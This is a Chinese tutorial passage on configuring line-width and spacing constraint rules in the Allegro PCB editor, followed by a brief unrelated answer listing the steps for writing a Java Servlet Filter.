在allegro pcb的设计过程中,设计约束规则包括时序规则、间距规则、信号完整性规则以及物理规则等,本期主要详细讲解与物理、间距与电气约束中的线宽、线间距物理规则的设置。 一、线宽设置 (1)设置默认约束 点选 Physical Constraint Set 即可出现 Default 的 Physical 相关设定值,如LineWidth、Neck width等,如下图1-1 图1-1物理默认规则设置 (2)设置特殊物理规则 点选 Default 按鼠标右键,执行 Create Physical CSet 加入新规则。 图1-2新增物理规则 修改其值,如下图1-3所示: 图1-3设置新增规则参数 然后在分配网络,左边点击 Net-All Layers,右边为所需设置的网络分配规则,如下图1-4所示: 图1-4给需要的网络赋予规则 二、线间距设置 (1)设置默认间距规则 单击 Spacing,再点击 All Layers,如下图1-5所示。右边有一个DEFAULT 就是默认规则,可以修改其值。 图1-5整体修改参数 按住 Shift 键,点击第一个和最后一个即可选中所示,然后输入一个值,这样就都修改了。 (2)定义特殊的间距约束 点选 Default 按鼠标右键,执行 Create-Spacing CSet,加入新规则。取一个有意义点的名字,如下图1-6所示 其值是从默认规则拷贝的,先修改其值。按住 Shift 键选中所有,输入12,回车。 图1-6设置线宽12mil规则参数 然后为所需要设置的网络分配规则,单击左边的 Net-All Layers,在右边工作簿中,为 GND 网络设置 12_MIL_SPACE 规则,在 Referenced Spacing CSet 下选中12_MIL_SPACE,如下图1-7所示。 图1-7赋予间距规则 (3)设置 Class-Class 规则 若要针对不同的信号群组有不同的间距规则,则需要设置Class-Class,选到 Net Class-Class 后,在右边 CLOCK上右键选择 Create Class-Class…,如下图1-8所示。

简述编写过滤器的步骤

简述编写过滤器的步骤 1、声明过滤器类并让其实现Filter接口; 2、实现init()方法,读取过滤器的初始化参数; 3、实现doFilter()方法,实现对请求或响应的过滤操作。通常在过滤操作之后,会调用该方法的FilterChain参数的doFilter()方法,来继续调用链上的下一个结点; 4、实现destroy()方法,完成资源释放等操作。